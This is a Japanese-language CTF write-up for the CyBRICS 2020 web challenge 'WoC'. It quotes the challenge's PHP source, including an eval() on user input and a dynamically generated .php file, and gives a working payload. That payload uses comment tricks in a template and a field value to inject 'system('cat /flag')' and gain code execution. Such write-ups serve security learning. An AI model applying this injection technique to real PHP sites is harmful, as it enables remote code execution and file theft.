CTFtime.org / CyBRICS CTF 2020
WoC (Web, Medium, 402 pts)
Author: Vlad Roskov (@mrvos)
http://109.233.57.94:40389/calcs/85d45135a1c6f4c3/cc4b5923-6498-44ff-391a-03a16f35d485.php
Heheh heh hehh... 🤓
Source code: woc.tar.gz
ファイルが多すぎる
こういう場合ってどこから手を付けたらいいんでしょうね?
解説を見る
唯一あったけど、google翻訳で読んだら分かった。
sourceとsink
こういう時はsourceとsinkを探せってじっちゃんが言ってた。
flag.txtがあるので、XSSとかではなく、LFIかRCEあたりでflag.txtを抜き出してくるのだろう。
抜き出すには、悪意あるコードをsourceから入れて、結果をsinkから抜き出すしかない。
source
- 電卓の計算を行う部分
- テンプレートを渡す部分
- 共有リンクを要求する部分
こういうのをちゃんと見ていかんといかんということよね。
実はテンプレートを渡す部分が正解ルート。
newtemplate.php
if (trim(@$_POST['html'])) { do { $html = trim($_POST['html']); if (strpos($html, '<?') !== false) { $error = "Bad chars"; break; } $requiredBlocks = [ 'id="back"', 'id="field" name="field"', 'id="digit0"', 'id="digit1"', 'id="digit2"', 'id="digit3"', 'id="digit4"', 'id="digit5"', 'id="digit6"', 'id="digit7"', 'id="digit8"', 'id="digit9"', 'id="plus"', 'id="equals"', ]; foreach ($requiredBlocks as $block) { if (strpos($html, $block) === false) { $error = "Missing required block: '$block'"; break(2); } } $uuid = uuid(); if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) { $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts"; break; } redir("."); } while (false); }
'<?'
が含まれているとダメみたい。
phpで動いているので、phpコードを差し込みたい所だけど、URLもhtmlだしダメかーとなるが、ここで入れたphpコードを実行する道筋がある。
sink
分かりやすいsinkとしては、以下。
- 電卓の計算結果
- 入力したテンプレート出力
下が答え。
if (trim(@$_POST['field'])) { $field = trim($_POST['field']); if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) { $value = "BAD"; } else { if (@$_POST['share']) { $calc = uuid(); file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html")); redir("?p=sharelink&calc=$calc"); } else { try { $value = eval("return $field;"); } catch (Throwable $e) { $value = null; } if (!is_numeric($value) && !is_string($value)) { $value = "ERROR"; } else { $value = (string)$value; } } } echo "<script>var preloadValue = " . json_encode($value) . ";</script>"; }
確かに言われてみれば…
phpファイルを動的生成している。
このファイルに任意のPHPコードを入れ込めれば、実行可能だ。
payload
テンプレートとして、以下のようなファイルを送る。
<html> …正常なテンプレート… <html>*/;eval(system('cat /flag'))?>
で、$fieldに/*((*/1))/*
を入れて、そのテンプレートを指定してshareする。
すると"<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html")
の部分で、
<script>var preloadValue = <?=json_encode((string)(/*((*/1))/*))?>;</script>\n[calclib.htmlの中身]<html> …正常なテンプレート… <html>*/;eval(system('cat /flag'))?>
これをよーく見るとコメントでうまいこと消えて
<script>var preloadValue = <?=json_encode((string)(1));eval(system('cat /flag'))?>
となって見事PHPコード実行される形になっている。
あとは、このアップロード先を参照すればflagがcatされて出てくる。